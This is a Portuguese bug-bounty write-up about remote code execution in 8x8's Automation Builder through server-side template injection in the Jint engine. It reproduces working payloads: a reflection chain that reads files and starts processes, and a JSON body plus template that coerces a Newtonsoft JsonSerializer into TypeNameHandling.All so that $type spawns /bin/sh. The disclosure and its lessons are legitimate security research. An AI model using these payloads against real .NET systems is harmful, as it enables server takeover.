• home
  • posts
  • about
kyotozx
  • home
  • posts
  • about

Conteúdo

  • O alvo
  • Jint e o interop com o CLR
  • O validador de save, e como passar por ele
  • A parede
  • A conclusão errada, versão 1
  • Por que System.Type é a peça-chave
  • Enumerando de verdade
  • A conclusão errada, versão 2
  • $type e TypeNameHandling
  • O bug: uma sobrecarga escolhida errado
  • A payload
  • Resumo
Back to postsRead in English

RCE por coerção de serializer Jint para Newtonsoft no Automation Builder - $3.000 bounty

11 min read
2026-09-01
writeupwebbug-bounty

Execução de comando no pod de produção do engine de automação da 8x8, a partir de uma conta grátis de self-signup. E, mais interessante que o bug, o caminho até ele: eu já tinha declarado esse alvo impossível duas vezes, com análise escrita, e as duas vezes eu estava errado.

connect.8x8.com: Deserialization Vulnerability in Automation Builder via Jint→Newtonsoft serializer coercion (TypeNameHandling) (https://hackerone.com/reports/3861550) - $3000 bounty

9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

O alvo

O Automation Builder do connect.8x8.com é um construtor de workflows low-code. Um dos tipos de passo é o HttpRequest: ele busca uma URL que eu escolho, do lado do servidor, e devolve a resposta para dentro do workflow.

Os campos do passo aceitam template. Qualquer coisa entre {{ }} é avaliada NO SERVIDOR quando o workflow roda:

"outputs": {"o": "{{ step.ResponseCode }}"}

Isso é a definição de superfície de SSTI (server-side template injection): eu escrevo uma expressão, o servidor executa. A pergunta toda é o que aquele avaliador consegue alcançar.

Eu cheguei nesse passo caçando SSRF, porque "URL que o servidor busca e me devolve o corpo" é SSRF de manual (e era, e rendeu outro report). Mas quando você vê {{ }} num produto, a segunda pergunta vem sozinha: qual engine avalia isso?

Jint e o interop com o CLR

Fingerprint do engine: Jint 4.9.0. O Jint é um interpretador de JavaScript escrito em C#, embutido dentro de aplicações .NET. Serve exatamente para casos como esse, deixar o cliente escrever uma expressãozinha sem embutir um V8 inteiro.

O detalhe que importa é o interop. Quando a aplicação injeta um objeto .NET real no escopo do JavaScript, o código JS consegue chamar métodos .NET naquele objeto. O Jint tem chaves para controlar isso:

  • AllowClr(false): não expõe o bridge de CLR (clr, System, importNamespace).
  • AllowGetType = false: esconde qualquer membro chamado GetType.
  • AllowSystemReflection = false: bloqueia envolver qualquer objeto cujo namespace comece com System.Reflection.

O engine da 8x8 não configurava nada disso explicitamente, ficava nos defaults do Jint (que já são os valores seguros acima). E injetava no escopo do template dois objetos: data (um ExpandoObject) e step (o objeto do passo).

Foi essa a primeira descoberta que mudou o jogo:

{{ ''+step }}   ->   Wavecell.Automation.Core.Steps.HttpRequest

step não é um dicionário de dados. É o objeto .NET vivo do passo, com Url, Headers, ResponseBody, RunAsync. E dava para escrever nele: Reflect.set(step,'Url', ...) mudava a URL de saída depois da validação.

O validador de save, e como passar por ele

Antes de rodar, a 8x8 valida a expressão no momento de salvar o workflow. É um validador de AST customizado com data-flow. Ele bloqueia function, arrow, classe, literal de objeto {}, atribuição em todas as formas, template literal com crase, eval, Function('...'). E ele segue taint: se você tenta alcançar Function por [].constructor.constructor e depois chamar via .call, .apply, Reflect.apply, [Fn][0], .pop(), Map.get(0), ele rejeita. É um validador bem melhor que a média.

O que ele deixa passar: x++, delete, o operador vírgula, Reflect.set, Reflect.get, Object.defineProperty, new, .map/.find/.sort.

O bypass foi:

Reflect.apply( Reflect.get([].constructor,'constructor'), null, [data.code] )

Duas ideias. Reflect.get([].constructor,'constructor') alcança Function por uma CHAMADA DE MÉTODO e não por acesso de membro, então o rastreador de taint não segue. E [data.code] traz o código como VALOR de runtime, vindo do corpo do trigger, que não passa pela validação de save, então nenhum literal de string aparece na expressão.

Funcionou: typeof do resultado voltou "function". A defesa primária de SSTI estava derrotada, eu construía uma função arbitrária a partir de input meu.

A parede

Aí eu bati no MaxStatements, um limite de runtime do Jint. Criar a função cabia no orçamento. CHAMAR ela, não. Nem uma função de corpo vazio. Testei tudo: dividir criação e chamada entre outputs diferentes (a função persiste entre outputs via poluição de protótipo, mas o orçamento é cumulativo por workflow), map, find, forEach, sort, Array.from. Medi cada mecanismo num Jint 4.9.0 local: todos custam o mesmo, o corpo sempre soma o mesmo statement, e a 8x8 rejeitava exatamente esse.

Tentei escapar do orçamento por hooks que o engine chama sozinho, com contador fresco. toJSON no protótipo: o engine serializa via Jint/Newtonsoft e não chama toJSON. Getter via Object.defineProperty: ele CHAMA, minha função executou de verdade, mas o getter dispara tão tarde na serialização que só cabe return <constante>. return 6*7*10101 já estourava.

A conclusão errada, versão 1

Depois de umas 30 rodadas eu escrevi um dossiê com uma "conclusão definitiva":

Nesse primitivo, RCE no host NÃO é alcançável. Cinco camadas de defesa, cada uma verificada: (1) validador AST, bypassado; (2) MaxStatements, bloqueia a invocação; (3) AllowSystemReflection=false, bloqueia a rota Task.Exception.TargetSite; (4) filtro de GetType, bloqueia a rota objeto para Type; (5) nenhum estático do CLR exposto.

Está tudo tecnicamente correto ali, e mesmo assim a conclusão é falsa. O erro está numa frase que eu escrevi sem testar:

System.Type É envolvível (namespace "System"), mas não existe fonte de Type alcançável que não seja GetType ou System.Reflection.

Eu deduzi isso do modelo de interop do Jint. Eu não enumerei os membros dos objetos que estavam realmente no escopo. Deduzir a superfície e enumerar a superfície são coisas diferentes, e eu tinha escrito "definitivo" em cima da primeira.

Por que System.Type é a peça-chave

Vale explicar por que eu estava atrás de um System.Type. Em .NET, se você tem um objeto Type você tem:

type.InvokeMember("ReadAllText", flags, null, null, new object[]{ "/etc/passwd" });

O NOME do método é um argumento de string, em runtime. Um filtro que esconde membros por nome não vê isso passar. E Type.GetType("System.Diagnostics.Process") resolve qualquer tipo carregado. Um Type na mão é a chave-mestra da reflexão .NET.

E o System.Type mora no namespace System, não em System.Reflection, e é essa distinção que decide o bug. O AllowSystemReflection=false bloqueia namespace por prefixo, então não bloqueia Type. Quem conhece essa distinção sabe exatamente o que procurar.

Enumerando de verdade

Voltei e enumerei, membro por membro, tudo que estava alcançável no escopo. E lá estava:

step.ResponseBody é um JObject do Newtonsoft (a resposta HTTP parseada). JObject.CreateReader() devolve um JsonReader. E JsonReader tem uma propriedade ValueType, que devolve o tipo .NET do valor no token atual.

ValueType devolve um System.Type. Não se chama GetType, então o filtro de nome não pega. Não está em System.Reflection, então o bloqueio de namespace não pega. Ela estava ali o tempo todo, exposta pelo objeto que a própria aplicação escolheu injetar no escopo.

A cadeia:

{{(Reflect.set(data,'r', step.ResponseBody.slideshow.CreateReader()),
   data.r.Read(), data.r.Read(), data.r.Read(),
   Reflect.set(data,'st', data.r.ValueType),                       // System.Type de um System.String
   Reflect.set(data,'ot', data.st.BaseType),                       // System.Object
   Reflect.set(data,'rtt', data.ot.InvokeMember(data.getType,276,null,data.st,[])),  // System.RuntimeType
   Reflect.set(data,'ft', data.rtt.InvokeMember(data.getType,344,null,null,[data.fileT])),
   ''+data.ft.InvokeMember(data.readAll,280,null,null,[data.p1]))}}

Todos os nomes ("GetType", "System.IO.File", "ReadAllText", /etc/hostname) chegam pelo corpo do trigger, então a expressão salva não contém literal nenhum. Os números 276/344/280 são BindingFlags, que o Jint converte de número JS para enum sem reclamar. O Reflect.set guarda os intermediários porque = é bloqueado.

Resultado: /etc/hostname do pod, /etc/os-release (Alpine), e depois a mesma cadeia resolvendo System.Diagnostics.Process e chamando Start:

uid=1000(wcapp) gid=1000(wcapp) groups=1000(wcapp)

RCE em produção, de uma conta grátis.

E foi fechado como duplicado de #3849420. Acontece.

A conclusão errada, versão 2

Três dias depois o fix chegou, e aí começa a parte que realmente pagou.

Um fix de RCE crítico merece retest, sempre, porque o report te diz onde eles acham que o bug está, e o fix te diz o quanto eles entenderam do root cause. Retestei e mapei exatamente o que mudou:

  • step.ResponseBody continua sendo um JObject cru do Newtonsoft. CreateReader ainda é função. O objeto CLR continua no escopo do atacante.
  • O validador de save não mudou, a definição do gadget ainda salva com 201.
  • reader.ValueType virou undefined. Só isso. Um MemberFilter no interop, escondendo aquele membro.

Ou seja: eles fecharam o gadget, não a porta. A minha recomendação era projetar a resposta para valores JS simples, e essa parte não foi feita.

Então eu tentei derrubar o fix, e me esforcei. Montei um lab .NET 9 local com Jint 4.9.0 e Newtonsoft 13, as versões exatas do engine, e rodei uma BFS de alcançabilidade de reflexão sobre todo o fechamento de objetos CLR expostos (JObject, JToken, JsonReader, CultureInfo, NumberFormat, Calendar, CompareInfo, os tipos dos membros de step). Em todo esse grafo, exatamente cinco membros chegam a uma primitiva de reflexão: ValueType (agora filtrado), Enum. GetUnderlyingType (que precisa de um Type como argumento, circular, morto) e Task.Exception.TargetSite (morto duas vezes: o Jint auto-aguarda Tasks, então não dá pra segurar a Task falhada, e mesmo forçando uma, TargetSite é System.Reflection e é bloqueado).

Testei até a variante fina: em .NET, toda propriedade tem um getter com nome diferente, get_ValueType(). Se o fix fosse um MemberFilter ingênuo do tipo m.Name != "ValueType", o acessor sobreviveria. No lab, sob esse filtro ingênuo, reader.get_ValueType() devolvia o Type e o gadget inteiro voltava. Em produção: undefined, enquanto os controles get_TokenType, get_Value, get_Culture continuavam funções. Ou seja, o filtro deles pega a propriedade E o acessor.

Escrevi: "remediação efetiva e robusta, nenhum bypass reportável". Dessa vez com enumeração de verdade por trás.

E de novo estava errado. Porque eu enumerei exaustivamente no eixo errado. Eu procurei caminhos de REFLEXÃO. O bypass não usa reflexão nenhuma.

$type e TypeNameHandling

Duas peças de contexto antes do bug.

Primeira: o $type do Newtonsoft. A biblioteca consegue serializar o TIPO .NET junto com os dados, para poder reconstruir a classe certa na volta. Isso vira uma chave $type no JSON:

{"$type":"MinhaApp.Pedido, MinhaApp", "total": 10}

Isso só acontece se TypeNameHandling estiver diferente de None. E quando está ligado num JSON que o atacante controla, é o bug clássico de desserialização insegura em .NET: eu escolho a classe que vai ser instanciada, e existe um catálogo inteiro de gadgets prontos (o ysoserial.net) para transformar isso em execução.

Segunda: por que eu tinha descartado isso. Minha própria nota do dossiê dizia, textualmente, que $type estava morto porque o engine usa JToken.Parse(text), um parse puro, sem TypeNameHandling. Eu tinha até testado: mandar {"$type":"System.Collections.Hashtable"} no corpo do trigger não instanciava nada, o $type ficava como chave literal.

Essa nota estava certa sobre o Parse e errada como conclusão. JToken.Parse ignora $type. Re-DESSERIALIZAR aquela mesma árvore através de um serializer com TypeNameHandling ligado, não ignora.

O bug: uma sobrecarga escolhida errado

JToken tem um método ToObject, com estas sobrecargas:

object ToObject(Type objectType);
T      ToObject<T>(JsonSerializer jsonSerializer);
object ToObject(Type objectType, JsonSerializer jsonSerializer);

Agora, do lado do JavaScript, eu chamo com UM argumento, e esse argumento é um JObject (um pedaço da resposta HTTP que eu controlo):

step.ResponseBody.payload.ToObject(step.ResponseBody.cfg)

O Jint precisa decidir qual sobrecarga usar. Ele tenta converter meu JObject para System.Type: impossível, Type é abstrato. Sobra ToObject<T>(JsonSerializer). E aí o conversor de tipos padrão do Jint faz a coisa mais educada e mais perigosa possível: ele vê que meu JObject é um dicionário com chaves string, chama Activator.CreateInstance(JsonSerializer) e atribui cada chave como propriedade do objeto novo.

Uma das propriedades de JsonSerializer chama-se TypeNameHandling. É um enum. E o Jint converte número JS para enum sem pestanejar.

Então este pedaço do MEU corpo de resposta HTTP:

"cfg": {"TypeNameHandling": 3}

vira um JsonSerializer configurado por mim, com TypeNameHandling.All. E o ToObject usa esse serializer para re-desserializar a árvore JSON, que também é minha, agora honrando $type.

Ninguém precisou de reflexão. Ninguém tocou em ValueType. O filtro que a 8x8 instalou é ortogonal à cadeia inteira.

A payload

O corpo servido na URL que o passo busca (usei https://httpbin.org/base64/<base64>, que devolve o conteúdo decodificado):

{"payload":{"$type":"System.Diagnostics.Process, System.Diagnostics.Process"},
 "psi":{"$type":"System.Diagnostics.ProcessStartInfo, System.Diagnostics.Process",
        "FileName":"/bin/sh","ArgumentList":["-c","id; hostname; uname -sm; head -2 /etc/os-release"],
        "RedirectStandardOutput":true,"UseShellExecute":false},
 "cfg":{"TypeNameHandling":3}}

E o template do output, uma expressão só:

{{''+step.ResponseBody.payload.ToObject(step.ResponseBody.cfg)
      .Start(step.ResponseBody.psi.ToObject(step.ResponseBody.cfg))
      .StandardOutput.ReadToEnd()}}

Lendo em voz alta: payload.ToObject(cfg) instancia um System.Diagnostics.Process via $type. .Start(psi) alcança o Process.Start(ProcessStartInfo) estático a partir do wrapper da instância, com um ProcessStartInfo também construído por $type. .StandardOutput.ReadToEnd() lê o stdout.

Repare no que a expressão salva NÃO tem: nenhum nome de tipo, nenhum comando, nenhum function, nenhum =, nenhum {, nenhum ;. Todas as strings perigosas vêm da resposta HTTP, que é buscada depois do save. O validador de save vê uma expressão inocente de acesso a membro. Nada nele precisou ser bypassado dessa vez.

E o Process.Start devolve um Process, não um System.Type, então o MemberFilter do fix nunca é consultado.

Resultado, no pod de produção:

uid=1000(wcapp) gid=1000(wcapp) groups=1000(wcapp)
automation-api-primary-69f45d794b-qjzgn
Linux x86_64
NAME="Alpine Linux"
ID=alpine

Resumo

  • Quando um produto low-code avalia {{ }} no servidor, a pergunta não é "tem SSTI?", é "o que exatamente está no escopo?". A resposta aqui era um objeto .NET vivo, e isso decidiu tudo.
  • Enumere a superfície, não deduza. As duas vezes que eu escrevi "definitivo, não é alcançável" eu tinha um argumento bonito e nenhuma listagem de membros. ValueType estava exposto o tempo todo.
  • E enumerar não basta se o eixo estiver errado. Na segunda vez eu enumerei exaustivamente os caminhos de REFLEXÃO. O bypass veio por DESSERIALIZAÇÃO, uma classe que eu tinha escrito de próprio punho que estava morta.
  • Um fix é um lead novo, não um encerramento. Ele te mostra onde eles acham que o bug estava. Fix estreito em cima de root cause intacto quer dizer que a porta continua aberta, só sem aquela maçaneta.
  • Coerção de argumento em ponte de interop é uma superfície inteira que quase ninguém olha. "Esse dicionário com chaves string vira esse objeto de configuração, com as propriedades que você mandar" é uma primitiva enorme, e ela existe em qualquer bridge que tente ser prestativa.
  • TypeNameHandling em JSON controlado pelo atacante continua sendo RCE em .NET, em 2026. Só que aqui ele não estava ligado no código: eu liguei, passando um número.

© 2026 · kyotozx